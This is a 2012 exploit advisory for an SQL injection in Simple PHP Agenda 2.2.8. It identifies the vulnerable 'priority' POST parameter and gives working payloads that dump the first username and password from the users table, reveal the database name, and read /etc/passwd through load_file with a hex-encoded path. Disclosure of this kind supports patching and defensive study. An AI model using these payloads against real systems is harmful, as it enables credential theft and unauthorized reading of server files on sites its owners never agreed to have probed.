PHP Agenda 2.2.8 – SQL Injection
# Title:Simple PHP Agenda 2.2.8 SQLi Vulnerability # Version: php-agenda 2.2.8 # Author/Found by: loneferret # Manifacturer/Software link: http://sourceforge.net/projects/php-agenda/files/latest/download # Other vulnerability: http://www.exploit-db.com/exploits/18694/ # Date found: May 7th 2012 # Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23 # Vulnerability: # Due to improper input sanitization, the "priority" field when creating and adding an # item in the "todo list" is subject to SQL injection. # Severity: # Well if anyone actually uses this, I suppose it would be high. But if you're like me # and still use paper you should be safe. # As always you can have as much fun with this... Method: POST Parameter: priority Page: /engine.php Payload: action=addTodo&priority=[SQLi]&text=Destcription&newTODO=Add todo item PoC: We need to bleed in the text field to be able to display anything interesting. As the priority is only a "tinyint(4)". Text field is "text" so it can handle a bit more data. # mysql> describe todo; # +----------+------------+------+-----+---------+----------------+ # | Field | Type | Null | Key | Default | Extra | # +----------+------------+------+-----+---------+----------------+ # | id | int(11) | NO | PRI | NULL | auto_increment | # | user_id | int(11) | NO | MUL | 0 | | # | priority | tinyint(4) | NO | | 0 | | # | text | text | NO | | NULL | | # | added | int(11) | NO | | 0 | | # | status | tinyint(4) | NO | | 0 | | # | closed | int(11) | NO | | 0 | | # +----------+------------+------+-----+---------+----------------+ # So when pressing the "Add todo item" essentially issues this command to mysql: # insert into todo (`user_id`,`priority`,`text`,`added`) values(1,4,'hello',1336438388) Get first username and password (usually admin): POSTDATA=action=addTODO&priority=1,(select concat(username,0x3c,0x62,0x72,0x3e,password) from users limit 1),1336389812)#&text=hello&newTODO=Add+todo+item Get Database name: POSTDATA=action=addTODO&priority=1,(select database()),1336389812)#&text=hello&newTODO=Add+todo+item If mysql can do it, load /etc/passwd: POSTDATA=action=addTODO&priority=4,(SELECT load_file(0x2f6574632f706173737764)),1336389812)#&text=hello&newTODO=Add+todo+item # Nods to Exploit-DB, Offensive-Security for pretty much everything. # |